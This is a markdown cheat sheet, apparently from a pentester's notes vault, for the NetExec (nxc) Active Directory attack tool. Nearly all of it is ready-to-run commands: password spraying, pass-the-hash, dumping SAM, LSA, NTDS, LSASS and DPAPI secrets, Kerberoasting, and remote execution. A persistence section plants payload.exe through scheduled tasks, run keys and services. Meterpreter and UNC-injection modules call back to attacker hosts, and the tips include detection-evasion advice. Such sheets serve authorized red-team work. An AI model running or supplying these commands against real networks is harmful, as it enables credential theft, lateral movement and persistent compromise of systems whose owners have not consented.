netexec.md (23658B)
1 --- 2 title: "NetExec (nxc)" 3 description: "NetExec/CrackMapExec successor: SMB/WinRM/LDAP/MSSQL sweeps, cred spraying, dumping and modules." 4 category: active-directory 5 subcategory: "Tooling & Recon" 6 tags: [active-directory, smb, credentials, enumeration] 7 tools: [NetExec, nxc] 8 difficulty: intermediate 9 updated: "2026-08-09" 10 source: "vault:Tools/Netexec (nxc) Cheat Sheet.md" 11 --- 12 13 # NetExec (nxc) 14 15 NetExec is the maintained successor to CrackMapExec. The binary is `nxc` (or the full name `netexec`). 16 17 ## Installation & Updates 18 19 ```bash 20 # Install via pipx (recommended) 21 sudo apt install pipx git 22 pipx ensurepath 23 pipx install git+https://github.com/Pennyw0rth/NetExec 24 25 # Upgrade to latest version 26 pipx upgrade netexec 27 28 # Check version 29 nxc --version 30 netexec --version 31 ``` 32 33 ## General Syntax 34 35 ```bash 36 # Basic command structure 37 nxc <protocol> <target> [options] 38 netexec <protocol> <target> [options] # Full name works too 39 40 # Target formats 41 nxc <protocol> 192.168.1.10 # Single IP 42 nxc <protocol> 192.168.1.0/24 # CIDR range 43 nxc <protocol> 192.168.1.1-50 # IP range 44 nxc <protocol> targets.txt # File with targets 45 46 # Common options 47 -u USERNAME # Username (or file) 48 -p PASSWORD # Password (or file) 49 -H HASH # NTLM hash 50 -d DOMAIN # Domain name 51 -k # Use Kerberos 52 --local-auth # Local authentication 53 --continue-on-success # Keep testing after success 54 -t THREADS # Number of threads 55 -M MODULE # Use module 56 -x COMMAND # Execute CMD command 57 -X PS_COMMAND # Execute PowerShell command 58 ``` 59 60 ## DNS Configuration Options 61 62 ```bash 63 # Specify DNS server (CRITICAL for LDAP/BloodHound) 64 nxc <protocol> <target> --dns-server <dns-ip> 65 66 # Use TCP for DNS resolution 67 nxc <protocol> <target> --dns-tcp 68 69 # Set DNS timeout 70 nxc <protocol> <target> --dns-timeout 10 71 72 # Force IPv6 73 nxc <protocol> <target> -6 74 75 # Combined example 76 nxc ldap dc.domain.local --dns-server 10.10.10.10 --dns-tcp --dns-timeout 15 77 ``` 78 79 ## Authentication Methods 80 81 ```bash 82 # Username and password 83 nxc smb 192.168.1.10 -u administrator -p 'Password123!' 84 85 # Null session 86 nxc smb 192.168.1.10 -u '' -p '' 87 88 # Guest authentication 89 nxc smb 192.168.1.10 -u 'guest' -p '' 90 91 # Pass-the-Hash (NTLM) 92 nxc smb 192.168.1.10 -u administrator -H aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c 93 nxc smb 192.168.1.10 -u administrator -H 8846f7eaee8fb117ad06bdd830b7586c 94 95 # Local authentication (bypass domain) 96 nxc smb 192.168.1.10 -u administrator -p password --local-auth 97 98 # Kerberos authentication 99 nxc smb dc.domain.local -u username -p password -k 100 nxc ldap dc.domain.local --use-kcache 101 102 # Credential files 103 nxc smb 192.168.1.0/24 -u users.txt -p passwords.txt 104 nxc smb 192.168.1.0/24 -u users.txt -H hashes.txt 105 ``` 106 107 ## SMB Protocol 108 109 ### Basic Enumeration 110 111 ```bash 112 # Scan for SMB hosts 113 nxc smb 192.168.1.0/24 114 115 # Check SMB signing (for relay attacks) 116 nxc smb 192.168.1.0/24 --gen-relay-list relay.txt 117 118 # Enumerate shares 119 nxc smb 192.168.1.10 -u username -p password --shares 120 nxc smb 192.168.1.10 -u '' -p '' --shares # Null session 121 122 # Enumerate domain users 123 nxc smb 192.168.1.10 -u username -p password --users 124 125 # Enumerate domain groups 126 nxc smb 192.168.1.10 -u username -p password --groups 127 128 # Enumerate local groups 129 nxc smb 192.168.1.10 -u username -p password --local-groups 130 131 # Enumerate logged on users 132 nxc smb 192.168.1.10 -u username -p password --loggedon-users 133 134 # Enumerate active sessions 135 nxc smb 192.168.1.10 -u username -p password --sessions 136 137 # RID brute force 138 nxc smb 192.168.1.10 -u username -p password --rid-brute 139 nxc smb 192.168.1.10 -u '' -p '' --rid-brute # Anonymous 140 141 # Password policy 142 nxc smb 192.168.1.10 -u username -p password --pass-pol 143 144 # All-in-one enumeration 145 nxc smb 192.168.1.10 -u username -p password --shares --users --groups --local-groups --loggedon-users --sessions --pass-pol --rid-brute 146 147 # Export username list 148 nxc <protocol> <target> -u username -p password --users --users-export users.txt 149 ``` 150 151 ### Command Execution 152 153 ```bash 154 # Execute CMD command (lowercase -x) 155 nxc smb 192.168.1.10 -u administrator -p password -x "whoami" 156 nxc smb 192.168.1.10 -u administrator -p password -x "ipconfig /all" 157 158 # Execute PowerShell command (uppercase -X) 159 nxc smb 192.168.1.10 -u administrator -p password -X '$PSVersionTable' 160 nxc smb 192.168.1.10 -u administrator -p password -X 'Get-Process' 161 162 # Execute with Pass-the-Hash 163 nxc smb 192.168.1.10 -u administrator -H <NTLM_HASH> -x "hostname" 164 165 # Specify execution method 166 nxc smb 192.168.1.10 -u administrator -p password -x "whoami" --exec-method wmiexec 167 nxc smb 192.168.1.10 -u administrator -p password -x "whoami" --exec-method atexec 168 nxc smb 192.168.1.10 -u administrator -p password -x "whoami" --exec-method smbexec 169 nxc smb 192.168.1.10 -u administrator -p password -x "whoami" --exec-method mmcexec 170 171 # Execute without retrieving output 172 nxc smb 192.168.1.10 -u administrator -p password -x "command" --no-output 173 ``` 174 175 ### File Operations 176 177 ```bash 178 # Download file from target 179 nxc smb 192.168.1.10 -u administrator -p password --get-file "\\Windows\\System32\\config\\SAM" ./SAM 180 181 # Upload file to target 182 nxc smb 192.168.1.10 -u administrator -p password --put-file ./payload.exe "\\Windows\\Temp\\payload.exe" 183 184 # Specify share for file operations 185 nxc smb 192.168.1.10 -u administrator -p password --get-file target_file output_file --share C$ 186 ``` 187 188 ### Credential Dumping 189 190 ```bash 191 # Dump SAM database 192 nxc smb 192.168.1.10 -u administrator -p password --sam 193 194 # Dump LSA secrets 195 nxc smb 192.168.1.10 -u administrator -p password --lsa 196 197 # Dump NTDS.dit (Domain Controller) 198 nxc smb 192.168.1.10 -u administrator -p password --ntds 199 nxc smb 192.168.1.10 -u administrator -p password --ntds vss # VSS method 200 nxc smb 192.168.1.10 -u administrator -p password --ntds drsuapi # DRSUAPI method 201 202 # Dump specific user from NTDS 203 nxc smb 192.168.1.10 -u administrator -p password --ntds --user targetuser 204 205 # Dump DPAPI credentials 206 nxc smb 192.168.1.10 -u administrator -p password --dpapi 207 nxc smb 192.168.1.10 -u administrator -p password --dpapi cookies 208 nxc smb 192.168.1.10 -u administrator -p password --dpapi nosystem 209 210 # Dump LSASS (using lsassy module) 211 nxc smb 192.168.1.10 -u administrator -p password -M lsassy 212 213 # Dump LAPS passwords 214 nxc smb 192.168.1.10 -u username -p password --laps 215 216 # Chain multiple dumps 217 nxc smb 192.168.1.10 -u administrator -p password --sam --lsa --dpapi 218 ``` 219 220 ### Password Spraying 221 222 ```bash 223 # Single password against multiple users 224 nxc smb 192.168.1.0/24 -u users.txt -p 'Password123!' --continue-on-success 225 226 # Multiple passwords against multiple users 227 nxc smb 192.168.1.0/24 -u users.txt -p passwords.txt --continue-on-success 228 229 # No bruteforce mode (pair user1:pass1, user2:pass2) 230 nxc smb 192.168.1.0/24 -u users.txt -p passwords.txt --no-bruteforce --continue-on-success 231 232 # Password spray with delay 233 nxc smb 192.168.1.0/24 -u users.txt -p password --continue-on-success --jitter 5 234 235 # Local admin spray 236 nxc smb 192.168.1.0/24 -u administrator -p passwords.txt --local-auth --continue-on-success 237 ``` 238 239 ### SMB Modules 240 241 ```bash 242 # List available SMB modules 243 nxc smb -L 244 nxc smb --list-modules 245 246 # Show module info / options 247 nxc smb -M lsassy --module-info 248 nxc smb -M module_name --options 249 250 # Enumerate AV products 251 nxc smb 192.168.1.10 -u administrator -p password -M enum_av 252 253 # GPP password extraction 254 nxc smb 192.168.1.10 -u username -p password -M gpp_password 255 256 # Enable RDP 257 nxc smb 192.168.1.10 -u administrator -p password -M rdp -o ACTION=enable 258 259 # WiFi password extraction 260 nxc smb 192.168.1.10 -u administrator -p password -M wifi 261 262 # Check for vulnerabilities 263 nxc smb 192.168.1.10 -M zerologon 264 nxc smb 192.168.1.10 -u username -p password -M petitpotam 265 nxc smb 192.168.1.10 -u username -p password -M nopac 266 nxc smb 192.168.1.10 -u username -p password -M printnightmare 267 268 # Coerce vulnerabilities check 269 nxc smb 192.168.1.10 -u username -p password -M coerce_plus -o LISTENER=192.168.1.5 270 271 # NTDS extraction module 272 nxc smb 192.168.1.10 -u administrator -p password -M ntdsutil 273 274 # Backup operator exploit 275 nxc smb 192.168.1.10 -u username -p password -M backup_operator 276 277 # Token impersonation 278 nxc smb 192.168.1.10 -u administrator -p password -M impersonate 279 280 # Change/reset password 281 nxc smb 192.168.1.10 -u administrator -p password -M change-password -o USER=targetuser NEWPASS=NewPass123! 282 283 # Retrieve MSOL password 284 nxc smb 192.168.1.10 -u administrator -p password -M msol 285 286 # Slinky (UNC path injection) 287 nxc smb 192.168.1.10 -u username -p password -M slinky -o SERVER=attacker-ip 288 ``` 289 290 ## LDAP Protocol 291 292 ### Basic Enumeration 293 294 ```bash 295 # Basic LDAP authentication check 296 nxc ldap 192.168.1.10 -u username -p password 297 nxc ldap dc.domain.local -d domain.local -u username -p password 298 299 # Anonymous bind 300 nxc ldap 192.168.1.10 -u '' -p '' 301 302 # Get domain SID 303 nxc ldap 192.168.1.10 -u username -p password --get-sid 304 305 # Enumerate users / groups / computers 306 nxc ldap 192.168.1.10 -u username -p password --users 307 nxc ldap 192.168.1.10 -u username -p password --groups 308 nxc ldap 192.168.1.10 -u username -p password --computers 309 310 # Admin count users 311 nxc ldap 192.168.1.10 -u username -p password --admin-count 312 313 # Users with password not required 314 nxc ldap 192.168.1.10 -u username -p password --password-not-required 315 316 # Trusted for delegation 317 nxc ldap 192.168.1.10 -u username -p password --trusted-for-delegation 318 319 # Find delegation misconfigurations 320 nxc ldap 192.168.1.10 -u username -p password --find-delegation 321 322 # Password policy 323 nxc ldap 192.168.1.10 -u username -p password --pass-pol 324 325 # All-in-one LDAP enumeration 326 nxc ldap 192.168.1.10 -u username -p password --users --groups --admin-count --trusted-for-delegation --password-not-required 327 ``` 328 329 ### ASREPRoasting 330 331 ```bash 332 # ASREPRoast all vulnerable users 333 nxc ldap 192.168.1.10 -u username -p password --asreproast asrep_hashes.txt 334 335 # ASREPRoast specific user 336 nxc ldap 192.168.1.10 -u username -p password --asreproast asrep.txt --user targetuser 337 ``` 338 339 ### Kerberoasting 340 341 ```bash 342 # Kerberoast all SPNs 343 nxc ldap 192.168.1.10 -u username -p password --kerberoasting kerberoast_hashes.txt 344 345 # Kerberoast with specific encryption 346 nxc ldap 192.168.1.10 -u username -p password --kerberoasting kerberoast.txt --kerberoast-encryption rc4 347 nxc ldap 192.168.1.10 -u username -p password --kerberoasting kerberoast.txt --kerberoast-encryption aes256 348 ``` 349 350 ### BloodHound Data Collection 351 352 ```bash 353 # Full BloodHound collection (ALWAYS specify DNS server) 354 nxc ldap 192.168.1.10 -u username -p password --bloodhound --collection All --dns-server 192.168.1.10 355 356 # With domain specified 357 nxc ldap 192.168.1.10 -d domain.local -u username -p password --bloodhound --collection All --dns-server 192.168.1.10 358 359 # Use DNS over TCP (for unstable connections) 360 nxc ldap 192.168.1.10 -u username -p password --bloodhound --collection All --dns-server 192.168.1.10 --dns-tcp 361 362 # With DNS timeout 363 nxc ldap 192.168.1.10 -u username -p password --bloodhound --collection All --dns-server 192.168.1.10 --dns-timeout 15 364 365 # Specific collection methods 366 nxc ldap 192.168.1.10 -u username -p password --bloodhound --collection DCOnly --dns-server 192.168.1.10 367 nxc ldap 192.168.1.10 -u username -p password --bloodhound --collection Default --dns-server 192.168.1.10 368 nxc ldap 192.168.1.10 -u username -p password --bloodhound --collection Group --dns-server 192.168.1.10 369 nxc ldap 192.168.1.10 -u username -p password --bloodhound --collection LocalAdmin --dns-server 192.168.1.10 370 nxc ldap 192.168.1.10 -u username -p password --bloodhound --collection Session --dns-server 192.168.1.10 371 nxc ldap 192.168.1.10 -u username -p password --bloodhound --collection Trusts --dns-server 192.168.1.10 372 nxc ldap 192.168.1.10 -u username -p password --bloodhound --collection ACL --dns-server 192.168.1.10 373 nxc ldap 192.168.1.10 -u username -p password --bloodhound --collection Container --dns-server 192.168.1.10 374 nxc ldap 192.168.1.10 -u username -p password --bloodhound --collection ObjectProps --dns-server 192.168.1.10 375 376 # Multiple collection methods 377 nxc ldap 192.168.1.10 -u username -p password --bloodhound --collection Group,Session,ACL --dns-server 192.168.1.10 378 379 # Over proxy (use hostname not IP) 380 proxychains -q nxc ldap dc.domain.local -d domain.local -u username -p password --bloodhound --collection All --dns-server 192.168.1.10 --dns-tcp 381 ``` 382 383 ### gMSA Passwords 384 385 ```bash 386 # Enumerate gMSA accounts 387 nxc ldap 192.168.1.10 -u username -p password --gmsa 388 389 # Convert gMSA ID 390 nxc ldap 192.168.1.10 -u username -p password --gmsa-convert-id <ID> 391 392 # Decrypt gMSA from LSA 393 nxc ldap 192.168.1.10 -u username -p password --gmsa-decrypt-lsa gmsa_account 394 ``` 395 396 ### LDAP Modules 397 398 ```bash 399 # List LDAP modules 400 nxc ldap -L 401 402 # LDAP signing check 403 nxc ldap 192.168.1.10 -u username -p password -M ldap-checker 404 405 # ADCS enumeration 406 nxc ldap 192.168.1.10 -u username -p password -M adcs 407 408 # Machine Account Quota 409 nxc ldap 192.168.1.10 -u username -p password -M maq 410 411 # Pre-2000 computers 412 nxc ldap 192.168.1.10 -u username -p password -M pre2k 413 414 # LAPS passwords (LDAP module) 415 nxc ldap 192.168.1.10 -u username -p password -M laps 416 417 # Get network information 418 nxc ldap 192.168.1.10 -u username -p password -M get-network 419 420 # Whoami via LDAP 421 nxc ldap 192.168.1.10 -u username -p password -M whoami 422 423 # Teams local DB 424 nxc ldap 192.168.1.10 -u username -p password -M teams_localdb 425 ``` 426 427 ### LDAP Queries 428 429 ```bash 430 # Custom LDAP query 431 nxc ldap 192.168.1.10 -u username -p password --query "(objectClass=user)" --attributes samaccountname,mail 432 433 # Query with base DN 434 nxc ldap 192.168.1.10 -u username -p password --query "(memberOf=CN=Domain Admins,CN=Users,DC=domain,DC=local)" --base-dn "DC=domain,DC=local" 435 436 # Query specific attributes 437 nxc ldap 192.168.1.10 -u username -p password --query "(name=Administrator)" --attributes objectSid,pwdLastSet 438 ``` 439 440 ## WMI Protocol 441 442 ```bash 443 # WMI authentication 444 nxc wmi 192.168.1.10 -u administrator -p password 445 nxc wmi 192.168.1.10 -u administrator -H <NTLM_HASH> 446 447 # Execute command via WMI 448 nxc wmi 192.168.1.10 -u administrator -p password -x "whoami" 449 nxc wmi 192.168.1.10 -u administrator -p password -X 'Get-Process' 450 451 # Custom WMI queries 452 nxc wmi 192.168.1.10 -u administrator -p password --wmi "SELECT * FROM Win32_OperatingSystem" 453 nxc wmi 192.168.1.10 -u administrator -p password --wmi "SELECT * FROM Win32_Process" 454 nxc wmi 192.168.1.10 -u administrator -p password --wmi "SELECT * FROM Win32_Service" 455 nxc wmi 192.168.1.10 -u administrator -p password --wmi "SELECT * FROM Win32_LoggedOnUser" 456 ``` 457 458 ## WinRM Protocol 459 460 ```bash 461 # WinRM authentication 462 nxc winrm 192.168.1.10 -u administrator -p password 463 nxc winrm 192.168.1.10 -u administrator -H <NTLM_HASH> 464 465 # WinRM over SSL / custom port 466 nxc winrm 192.168.1.10 -u administrator -p password --ssl 467 nxc winrm 192.168.1.10:5986 -u administrator -p password --ssl 468 469 # Execute command / PowerShell 470 nxc winrm 192.168.1.10 -u administrator -p password -x "whoami" 471 nxc winrm 192.168.1.10 -u administrator -p password -X 'Get-Process' 472 473 # Obfuscate PowerShell / no output 474 nxc winrm 192.168.1.10 -u administrator -p password -X 'Get-Process' --obfs 475 nxc winrm 192.168.1.10 -u administrator -p password -x "command" --no-output 476 477 # Dump SAM / LSA via WinRM 478 nxc winrm 192.168.1.10 -u administrator -p password --sam --lsa 479 ``` 480 481 ## MSSQL Protocol 482 483 ```bash 484 # SQL / Windows / local authentication 485 nxc mssql 192.168.1.10 -u sa -p password 486 nxc mssql 192.168.1.10 -u username -p password -d DOMAIN 487 nxc mssql 192.168.1.10 -u username -p password --local-auth 488 nxc mssql 192.168.1.10 -u username -H <NTLM_HASH> 489 nxc mssql 192.168.1.10:1434 -u sa -p password 490 491 # Execute SQL query 492 nxc mssql 192.168.1.10 -u sa -p password -q "SELECT @@version" 493 nxc mssql 192.168.1.10 -u sa -p password -q "SELECT name FROM sys.databases" 494 nxc mssql 192.168.1.10 -u sa -p password -q "EXEC sp_databases" 495 nxc mssql 192.168.1.10 -u sa -p password -q "SELECT * FROM information_schema.tables" 496 nxc mssql 192.168.1.10 -u sa -p password -q "SELECT IS_SRVROLEMEMBER('sysadmin')" 497 nxc mssql 192.168.1.10 -u sa -p password -q "EXEC sp_linkedservers" 498 nxc mssql 192.168.1.10 -u sa -p password -q "SELECT * FROM sys.server_principals" 499 500 # Execute OS command (xp_cmdshell) / PowerShell 501 nxc mssql 192.168.1.10 -u sa -p password -x "whoami" 502 nxc mssql 192.168.1.10 -u sa -p password -X 'Get-Process' 503 504 # Enumeration 505 nxc mssql 192.168.1.10 -u username -p password --enum-instances 506 nxc mssql 192.168.1.10 -u username -p password --rid-brute 507 508 # MSSQL modules 509 nxc mssql -L 510 nxc mssql 192.168.1.10 -u sa -p password -M enable_cmdshell -o ACTION=enable 511 nxc mssql 192.168.1.10 -u username -p password -M mssql_priv 512 nxc mssql 192.168.1.10 -u sa -p password -M enum_links 513 nxc mssql 192.168.1.10 -u sa -p password -M exec_on_link -o LINK=linkedserver QUERY="SELECT @@version" 514 515 # File operations 516 nxc mssql 192.168.1.10 -u sa -p password --get-file target_file output_file 517 nxc mssql 192.168.1.10 -u sa -p password --put-file local_file remote_file 518 ``` 519 520 ## RDP Protocol 521 522 ```bash 523 # Check RDP access / scan subnet 524 nxc rdp 192.168.1.10 -u administrator -p password 525 nxc rdp 192.168.1.0/24 526 nxc rdp 192.168.1.10 -u administrator -H <NTLM_HASH> 527 nxc rdp 192.168.1.10:3390 -u administrator -p password 528 529 # Screenshots 530 nxc rdp 192.168.1.10 -u administrator -p password --screenshot 531 nxc rdp 192.168.1.10 -u administrator -p password --screenshot --screentime 10 532 nxc rdp 192.168.1.10 -u administrator -p password --nla-screenshot 533 534 # Command execution (beta) with delays for slow targets 535 nxc rdp 192.168.1.10 -u administrator -p password -x "whoami" 536 nxc rdp 192.168.1.10 -u administrator -p password -x "whoami" --cmd-delay 2 --clipboard-delay 2 537 538 # Enumerate sessions 539 nxc rdp 192.168.1.10 -u administrator -p password --sessions 540 ``` 541 542 ## SSH Protocol 543 544 ```bash 545 # Password / key authentication 546 nxc ssh 192.168.1.10 -u root -p password 547 nxc ssh 192.168.1.10 -u root --key-file /path/to/id_rsa 548 nxc ssh 192.168.1.10:2222 -u root -p password 549 550 # Execute command 551 nxc ssh 192.168.1.10 -u root -p password -x "id && pwd && hostname" 552 553 # Test credentials across subnet 554 nxc ssh 192.168.1.0/24 -u root -p passwords.txt --continue-on-success 555 nxc ssh 192.168.1.0/24 -u users.txt -p password --continue-on-success 556 ``` 557 558 ## FTP Protocol 559 560 ```bash 561 # Authentication 562 nxc ftp 192.168.1.10 -u ftpuser -p password 563 nxc ftp 192.168.1.10 -u anonymous -p '' 564 nxc ftp 192.168.1.10:2121 -u ftpuser -p password 565 566 # File operations 567 nxc ftp 192.168.1.10 -u ftpuser -p password --ls 568 nxc ftp 192.168.1.10 -u ftpuser -p password --ls /path/to/directory 569 nxc ftp 192.168.1.10 -u ftpuser -p password --get /remote/file.txt 570 nxc ftp 192.168.1.10 -u ftpuser -p password --put /local/file.txt /remote/path/ 571 572 # Scan for anonymous FTP 573 nxc ftp 192.168.1.0/24 -u anonymous -p '' --ls 574 ``` 575 576 ## NFS Protocol 577 578 ```bash 579 # Scan / list exports & shares 580 nxc nfs 192.168.1.10 581 nxc nfs 192.168.1.10 --exports 582 nxc nfs 192.168.1.10 --shares 583 nxc nfs 192.168.1.0/24 --shares 584 585 # Mount / list share contents 586 nxc nfs 192.168.1.10 --mount /export/path 587 nxc nfs 192.168.1.10 --ls /export/path 588 ``` 589 590 ## VNC Protocol 591 592 ```bash 593 # Password authentication / spray 594 nxc vnc 192.168.1.10 --vnc-password vncpass123 595 nxc vnc 192.168.1.10 --vnc-password passwords.txt 596 nxc vnc 192.168.1.10:5901 --vnc-password password 597 598 # Scan for VNC servers 599 nxc vnc 192.168.1.0/24 600 nxc vnc 192.168.1.0/24 --vnc-password common-vnc-passwords.txt 601 ``` 602 603 ## Database Management 604 605 ```bash 606 # Workspaces 607 nxc smb --show-workspace 608 nxc smb --list-workspaces 609 nxc smb --create-workspace workspace_name 610 nxc smb --set-workspace workspace_name 611 612 # Databases 613 nxc smb --list-databases 614 nxc smb --export-db /path/to/export.db 615 nxc smb --import-db /path/to/import.db 616 nxc smb --query "SELECT * FROM hosts" 617 nxc smb --query "SELECT * FROM credentials" 618 nxc smb --clear-database 619 620 # Enter interactive database mode 621 nxcdb 622 ``` 623 624 ## Post-Exploitation & Persistence 625 626 ```bash 627 # Enable RDP 628 nxc smb 192.168.1.10 -u administrator -p password -M rdp -o ACTION=enable 629 630 # Scheduled task persistence 631 nxc smb 192.168.1.10 -u administrator -p password -x 'schtasks /create /sc minute /mo 1 /tn "Update" /tr C:\\Windows\\Temp\\payload.exe' 632 633 # Registry run key persistence 634 nxc smb 192.168.1.10 -u administrator -p password -x 'reg add HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Update /t REG_SZ /d C:\\Windows\\Temp\\payload.exe' 635 636 # Create Windows service 637 nxc smb 192.168.1.10 -u administrator -p password -x 'sc create UpdateService binPath= "C:\\Windows\\Temp\\payload.exe" start= auto' 638 639 # Startup folder persistence 640 nxc smb 192.168.1.10 -u administrator -p password --put-file payload.exe "%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\update.exe" 641 ``` 642 643 ## Integration with Other Tools 644 645 ```bash 646 # PowerShell Empire integration 647 nxc smb 192.168.1.10 -u administrator -p password -M empire_exec -o LISTENER=http 648 nxc mssql 192.168.1.10 -u sa -p password -M empire_exec -o LISTENER=listener_name 649 650 # Metasploit integration 651 nxc smb 192.168.1.10 -u administrator -p password -M met_inject -o LHOST=192.168.1.5 LPORT=4444 652 nxc mssql 192.168.1.10 -u sa -p password --local-auth -M met_inject -o LHOST=192.168.1.5 LPORT=4444 653 ``` 654 655 ## Advanced Options 656 657 ```bash 658 # Threads / timeout / jitter 659 nxc smb 192.168.1.0/24 -u administrator -p password -t 100 660 nxc smb 192.168.1.10 -u administrator -p password --timeout 30 661 nxc smb 192.168.1.0/24 -u username -p password --jitter 10 662 663 # Interface / DC IP 664 nxc smb 192.168.1.10 -u username -p password --interface eth1 665 nxc smb 192.168.1.10 -u username -p password --dc-ip 192.168.1.5 666 667 # Debug / verbose 668 nxc smb 192.168.1.10 -u username -p password --debug 669 nxc smb 192.168.1.10 -u username -p password --verbose 670 671 # Use proxychains 672 proxychains -q nxc smb 192.168.1.10 -u username -p password 673 674 # Generate helper files 675 nxc smb 192.168.1.0/24 --generate-hosts-file hosts.txt 676 nxc smb 192.168.1.10 -u username -p password --generate-krb5-file krb5.conf 677 ``` 678 679 ## Useful Command Combinations 680 681 ```bash 682 # Full domain enumeration 683 nxc smb 192.168.1.0/24 -u username -p password --shares --users --groups --loggedon-users --sessions --pass-pol 684 685 # Comprehensive credential dump 686 nxc smb 192.168.1.10 -u administrator -p password --sam --lsa --ntds --dpapi 687 688 # Password spray across subnet 689 nxc smb 192.168.1.0/24 -u users.txt -p 'Winter2024!' --continue-on-success --jitter 5 690 691 # Lateral movement check (PtH) 692 nxc smb 192.168.1.0/24 -u administrator -H <NTLM_HASH> -x "hostname" 693 694 # BloodHound collection with proper DNS 695 nxc ldap dc.domain.local -d domain.local -u username -p password --bloodhound --collection All --dns-server 192.168.1.10 --dns-tcp 696 697 # Find local admin access 698 nxc smb 192.168.1.0/24 -u username -p password --local-auth 699 700 # Execute across multiple protocols 701 nxc smb 192.168.1.10 -u administrator -p password -x "whoami" 702 nxc winrm 192.168.1.10 -u administrator -p password -x "whoami" 703 nxc wmi 192.168.1.10 -u administrator -p password -x "whoami" 704 ``` 705 706 ## Tips & Best Practices 707 708 - Always use `--dns-server` with LDAP BloodHound collection. 709 - Use `--dns-tcp` for unreliable connections or proxies. 710 - Add `--continue-on-success` for password spraying. 711 - Use `--no-bruteforce` to match user:pass pairs. 712 - Leverage `--local-auth` to test local admin reuse. 713 - Add `--jitter` to avoid detection during sprays. 714 - Use `-t` to adjust threads based on network stability. 715 - Combine credential dumps: `--sam --lsa --ntds`. 716 - Use `--obfs` to obfuscate PowerShell execution. 717 - Test multiple execution methods (`--exec-method`) if one fails. 718 - Export findings with the database management features. 719 - Use modules (`-M`) for specialized tasks.